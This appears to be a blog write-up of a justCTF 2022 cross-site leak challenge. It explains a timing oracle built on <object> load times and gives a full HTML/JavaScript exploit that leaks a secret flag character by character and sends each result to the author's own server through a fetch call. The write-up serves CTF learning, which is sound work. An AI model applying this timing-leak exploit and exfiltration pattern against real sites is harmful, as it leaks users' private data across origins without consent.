Last weekend, I played justCTF 2022 with my team Water Paddler, and we got 7th place!
It’s the write-up about one of the XSleak challenges, an easier one. If you want to see the hard one, you can refer to this awesome writeup: New technique of stealing data using CSS and Scroll-to-text Fragment feature.
About the challenge
It’s a simple web service, and there are three endpoints:
- /
- /search
- /debug
The core function is as below:
flagStr := os.Getenv("FLAG")
mux := http.NewServeMux()
mux.HandleFunc("/search/", func(w http.ResponseWriter, r *http.Request) {
if !isPrivateIP(getIP(r)) {
w.WriteHeader(http.StatusForbidden)
return
}
handleSearch(w, r, flagStr)
})
mux.HandleFunc("/debug/", func(w http.ResponseWriter, r *http.Request) {
handleSearch(w, r, "justCTF{fake_flags}")
})
func handleSearch(w http.ResponseWriter, r *http.Request, flag string) {
query := r.URL.Query().Get("search")
msg := r.URL.Query().Get("msg")
if !strings.Contains(flag, query) {
w.Write([]byte("Not found"))
} else {
w.Write(append([]byte(msg), flag...))
}
}You can pass two query strings search and msg, if search is in the flag, the server will return msg+flag, otherwise Not Found.
/search can only be accessed within the internal network via the bot, so they provide another /debug endpoint for the player to test.
For example, /debug?search=NOT_EXIST&msg=hello returns Not found, and/debug?search=justCTF&msg=hello returns hellojustCTF{fake_flags}
We can use this difference to leak the flag char by char.
By the way, we can’t do XSS because of the headers:
w.Header().Set("X-Content-Type-Options", "nosniff")
w.Header().Set("Content-Security-Policy", "script-src 'none';")
w.Header().Set("Content-Type", "text/plain")Also, error events will not work because of text/plain content type.
Oracle
What is the oracle to leak the flag?
We can use something like: /search?search=a&msg=${'A'*1000000}
If a is not in the flag, the response is just Not Found, otherwise A*1000000+flag
More content takes more time for the browser to render, so we can use the <object> tag to embed the URL and measure the load time, see the following for the actual code:
function leak(char, callback) {
return new Promise(resolve => {
let ss = 'just_random_string'
// for msg, I use random string to avoid cache, but maybe it's not needed
let url = `http://baby-xsleak-ams3.web.jctf.pro/search/?search=${char}&msg=`+ss[Math.floor(Math.random()*ss.length)].repeat(1000000)
let start = performance.now()
let object = document.createElement('object');
object.width = '2000px'
object.height = '2000px'
object.data = url;
object.onload = () => {
object.remove()
let end = performance.now()
resolve(end - start)
}
object.onerror = () => console.log('Error event triggered');
document.body.appendChild(object);
})
}Initially, I didn’t set object width and height, but later on, I found that it’s important because the default size is too small to make a difference in the load time.
Exploit
Here is my exploit in the end:
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<img src="https://deelay.me/30000/https://example.com">
<script>
fetch('https://deelay.me/30000/https://example.com')
function send(data) {
fetch('http://vps?data='+encodeURIComponent(data)).catch(err => 1)
}
function leak(char, callback) {
return new Promise(resolve => {
let ss = 'just_random_string'
let url = `http://baby-xsleak-ams3.web.jctf.pro/search/?search=${char}&msg=`+ss[Math.floor(Math.random()*ss.length)].repeat(1000000)
let start = performance.now()
let object = document.createElement('object');
object.width = '2000px'
object.height = '2000px'
object.data = url;
object.onload = () => {
object.remove()
let end = performance.now()
resolve(end - start)
}
object.onerror = () => console.log('Error event triggered');
document.body.appendChild(object);
})
}
send('start')
let charset = 'abcdefghijklmnopqrstuvwxyz_}'.split('')
let flag = 'justCTF{'
async function main() {
let found = 0
let notFound = 0
for(let i=0;i<3;i++) {
await leak('..')
}
for(let i=0; i<3; i++) {
found += await leak('justCTF')
}
for(let i=0; i<3; i++) {
notFound += await leak('NOT_FOUND123')
}
found /= 3
notFound /= 3
send('found flag:'+found)
send('not found flag:'+notFound)
let threshold = found - ((found - notFound)/2)
send('threshold:'+threshold)
if (notFound > found) {
return
}
// exploit
while(true) {
if (flag[flag.length - 1] === '}') {
break
}
for(let char of charset) {
let trying = flag + char
let time = 0
for(let i=0; i<3; i++) {
time += await leak(trying)
}
time/=3
send('char:'+trying+',time:'+time)
if (time >= threshold) {
flag += char
send(flag)
break
}
}
}
}
main()
</script>
</body>
</html>When exploiting the xsleak challenge, I need to send the log back to my server to know if anything is wrong.
For example, the threshold is sometimes inaccurate, so I need to update the exploit a few times manually.
Also, there are a few details to make the exploit faster and more stable.
First, I send a few requests before measuring the load time. The first few requests are not that accurate due to DNS lookup, initial connection, etc.
Second, I send a request three times and take it’s average to be more accurate(but the trade-off is that the exploit will take more time)
Third, you can leak the charset first to reduce the time and request significantly:
// leak charset
let charset = 'abcdefghijklmnopqrstuvwxyz_}'.split('')
let newCharset = ''
for(let char of charset) {
let time = 0
for(let i=0; i<3; i++) {
time += await leak(char)
}
time/=3
send('char:' + char + ',time:' + time)
if (time >= thershold) {
newCharset += char
send(newCharset)
}
}I spent most of the time tweaking these details to get the expected result. Anyway, by running the exploit a few times, we can get the flag in the end: justCTF{timeme__}(IIRC, the server is off, and I forgot to take the screenshot)
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